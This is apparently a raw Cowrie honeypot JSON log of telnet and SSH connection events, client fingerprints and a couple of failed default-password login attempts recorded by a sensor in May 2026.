{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43160,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c3f157853e","protocol":"telnet","message":"New connection: 162.55.233.176:43160 (159.203.135.109:23) [session: 46c3f157853e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:13.413331Z"}
{"eventid":"cowrie.session.closed","duration":40.09695553779602,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:13.454317Z","src_ip":"162.55.233.176","session":"ea6b1e72e9e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43166,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd8aaf58f25","protocol":"telnet","message":"New connection: 162.55.233.176:43166 (159.203.135.109:23) [session: 3bd8aaf58f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:13.874385Z"}
{"eventid":"cowrie.session.closed","duration":31.026906490325928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:14.096184Z","src_ip":"162.55.233.176","session":"f1d628832599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43178,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a9f1a7cb6f","protocol":"telnet","message":"New connection: 162.55.233.176:43178 (159.203.135.109:23) [session: e9a9f1a7cb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:14.123882Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43180,"dst_ip":"159.203.135.109","dst_port":23,"session":"989bda892b20","protocol":"telnet","message":"New connection: 162.55.233.176:43180 (159.203.135.109:23) [session: 989bda892b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:14.613159Z"}
{"eventid":"cowrie.session.closed","duration":35.16829538345337,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:14.842879Z","src_ip":"162.55.233.176","session":"a1c5c356c647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.14243531227112,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:14.993772Z","src_ip":"188.208.141.113","session":"7a77acdf7666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":56589,"dst_ip":"159.203.135.109","dst_port":22,"session":"00f376c78a48","protocol":"ssh","message":"New connection: 103.170.173.26:56589 (159.203.135.109:22) [session: 00f376c78a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:15.279895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:15.285172Z","src_ip":"103.170.173.26","session":"00f376c78a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.813575267791748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:15.417404Z","src_ip":"162.55.233.176","session":"385e8697d87e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:15.561004Z","src_ip":"103.170.173.26","session":"00f376c78a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.075844049453735,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:15.644790Z","src_ip":"162.55.233.176","session":"cdb4cb0496d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"00000000","message":"login attempt [test/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:16.696251Z","src_ip":"103.170.173.26","session":"00f376c78a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.494215965270996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:16.789969Z","src_ip":"162.55.233.176","session":"07a83a667735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43182,"dst_ip":"159.203.135.109","dst_port":23,"session":"1957ef2f4347","protocol":"telnet","message":"New connection: 162.55.233.176:43182 (159.203.135.109:23) [session: 1957ef2f4347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:17.275505Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f3b7b7668a","protocol":"telnet","message":"New connection: 162.55.233.176:43196 (159.203.135.109:23) [session: a7f3b7b7668a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:17.670270Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"51585b46ac5d","protocol":"telnet","message":"New connection: 206.189.32.23:59068 (10.17.0.5:23) [session: 51585b46ac5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:17.685723Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:17.974459Z","src_ip":"103.170.173.26","session":"00f376c78a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22070,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6471db2c891","protocol":"ssh","message":"New connection: 194.59.206.2:22070 (10.17.0.5:22) [session: b6471db2c891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:18.639261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:18.644956Z","src_ip":"194.59.206.2","session":"b6471db2c891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:18.731030Z","src_ip":"194.59.206.2","session":"b6471db2c891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:18.825009Z","src_ip":"194.59.206.2","session":"b6471db2c891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.46593451499939,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:19.251567Z","src_ip":"188.208.141.113","session":"2157fd9c1152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61806607246399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:19.642270Z","src_ip":"162.55.233.176","session":"988c6844a642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110734224319458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:19.820364Z","src_ip":"162.55.233.176","session":"43f02db14060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e58a8334873","protocol":"telnet","message":"New connection: 162.55.233.176:43212 (159.203.135.109:23) [session: 2e58a8334873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:19.928323Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43216,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb7ccfd0a08a","protocol":"telnet","message":"New connection: 162.55.233.176:43216 (159.203.135.109:23) [session: bb7ccfd0a08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:19.932033Z"}
{"eventid":"cowrie.session.closed","duration":30.252578020095825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:21.099928Z","src_ip":"162.55.233.176","session":"30fa8b560fe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.640554666519165,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:21.127022Z","src_ip":"162.55.233.176","session":"60db88ba7b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":55517,"dst_ip":"10.17.0.5","dst_port":22,"session":"37c9537c57a7","protocol":"ssh","message":"New connection: 38.137.11.14:55517 (10.17.0.5:22) [session: 37c9537c57a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:22.209274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:22.212748Z","src_ip":"38.137.11.14","session":"37c9537c57a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:22.443692Z","src_ip":"38.137.11.14","session":"37c9537c57a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43222,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd53c593af4","protocol":"telnet","message":"New connection: 162.55.233.176:43222 (159.203.135.109:23) [session: 7cd53c593af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:22.465834Z"}
{"eventid":"cowrie.session.closed","duration":31.052416563034058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:23.001262Z","src_ip":"162.55.233.176","session":"5e6107800220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41886,"dst_ip":"159.203.135.109","dst_port":23,"session":"164a60b09a3a","protocol":"telnet","message":"New connection: 162.55.233.176:41886 (159.203.135.109:23) [session: 164a60b09a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:23.361099Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"abc","message":"login attempt [server/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:23.399209Z","src_ip":"38.137.11.14","session":"37c9537c57a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.48702049255371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:23.598340Z","src_ip":"162.55.233.176","session":"25b93d4c817f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41896,"dst_ip":"159.203.135.109","dst_port":23,"session":"beff21c064b9","protocol":"telnet","message":"New connection: 162.55.233.176:41896 (159.203.135.109:23) [session: beff21c064b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:23.954613Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:24.632318Z","src_ip":"38.137.11.14","session":"37c9537c57a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.64299654960632,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:24.856387Z","src_ip":"162.55.233.176","session":"e9b9f7170bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b73cd0d7c4de","protocol":"telnet","message":"New connection: 162.55.233.176:41898 (159.203.135.109:23) [session: b73cd0d7c4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.121280Z"}
{"eventid":"cowrie.session.closed","duration":30.90897250175476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.222676Z","src_ip":"162.55.233.176","session":"6589da2973ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41904,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe20c3007f7","protocol":"telnet","message":"New connection: 162.55.233.176:41904 (159.203.135.109:23) [session: 0fe20c3007f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.228384Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41912,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7cbb720df2e","protocol":"telnet","message":"New connection: 162.55.233.176:41912 (159.203.135.109:23) [session: c7cbb720df2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.318716Z"}
{"eventid":"cowrie.session.closed","duration":31.68768620491028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.558231Z","src_ip":"162.55.233.176","session":"ed58c4e5d331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41926,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ea365dd6d7","protocol":"telnet","message":"New connection: 162.55.233.176:41926 (159.203.135.109:23) [session: b6ea365dd6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.741920Z"}
{"eventid":"cowrie.session.closed","duration":36.681981563568115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:25.851631Z","src_ip":"162.55.233.176","session":"dd7ca55fe604","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41938,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2ef0fddd0a","protocol":"telnet","message":"New connection: 162.55.233.176:41938 (159.203.135.109:23) [session: df2ef0fddd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:26.372846Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41950,"dst_ip":"159.203.135.109","dst_port":23,"session":"352b950830d1","protocol":"telnet","message":"New connection: 162.55.233.176:41950 (159.203.135.109:23) [session: 352b950830d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:26.952999Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41954,"dst_ip":"159.203.135.109","dst_port":23,"session":"5035b3f95504","protocol":"telnet","message":"New connection: 162.55.233.176:41954 (159.203.135.109:23) [session: 5035b3f95504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:27.144293Z"}
{"eventid":"cowrie.session.closed","duration":6.361882925033569,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:28.827577Z","src_ip":"162.55.233.176","session":"7cd53c593af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41962,"dst_ip":"159.203.135.109","dst_port":23,"session":"82fb78bf38ee","protocol":"telnet","message":"New connection: 162.55.233.176:41962 (159.203.135.109:23) [session: 82fb78bf38ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:29.621712Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c1161758dea","protocol":"telnet","message":"New connection: 162.55.233.176:41974 (159.203.135.109:23) [session: 1c1161758dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:29.963517Z"}
{"eventid":"cowrie.session.closed","duration":36.588680267333984,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:30.635814Z","src_ip":"162.55.233.176","session":"40d5fbe23972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"3756ff98149a","protocol":"telnet","message":"New connection: 162.55.233.176:41994 (159.203.135.109:23) [session: 3756ff98149a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:30.814260Z"}
{"eventid":"cowrie.session.closed","duration":32.89600992202759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:31.035281Z","src_ip":"162.55.233.176","session":"e223ef790af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c3e45ac49f","protocol":"telnet","message":"New connection: 162.55.233.176:41980 (159.203.135.109:23) [session: 55c3e45ac49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:31.114625Z"}
{"eventid":"cowrie.session.closed","duration":38.98369359970093,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:31.825792Z","src_ip":"162.55.233.176","session":"d3def33fea3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.899003982543945,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:32.519316Z","src_ip":"206.189.32.23","session":"9cb022b2d25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44362,"dst_ip":"159.203.135.109","dst_port":23,"session":"99e342b7288a","protocol":"telnet","message":"New connection: 162.55.233.176:44362 (159.203.135.109:23) [session: 99e342b7288a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:34.939169Z"}
{"eventid":"cowrie.session.closed","duration":30.49320387840271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:35.174224Z","src_ip":"162.55.233.176","session":"69e3e87923e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62009787559509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:35.408309Z","src_ip":"162.55.233.176","session":"7d9f2008f029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6fe9b3fc35","protocol":"telnet","message":"New connection: 162.55.233.176:44374 (159.203.135.109:23) [session: ff6fe9b3fc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:35.845445Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44376,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df6bb416a5b","protocol":"telnet","message":"New connection: 162.55.233.176:44376 (159.203.135.109:23) [session: 5df6bb416a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:36.930561Z"}
{"eventid":"cowrie.session.closed","duration":31.48520827293396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:36.951249Z","src_ip":"162.55.233.176","session":"c8d539d44ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33631992340088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:37.056335Z","src_ip":"162.55.233.176","session":"4fc0cef9462e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10918831825256,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:37.647595Z","src_ip":"162.55.233.176","session":"0f232cfe142e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44386,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f585c141be","protocol":"telnet","message":"New connection: 162.55.233.176:44386 (159.203.135.109:23) [session: 27f585c141be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:37.801485Z"}
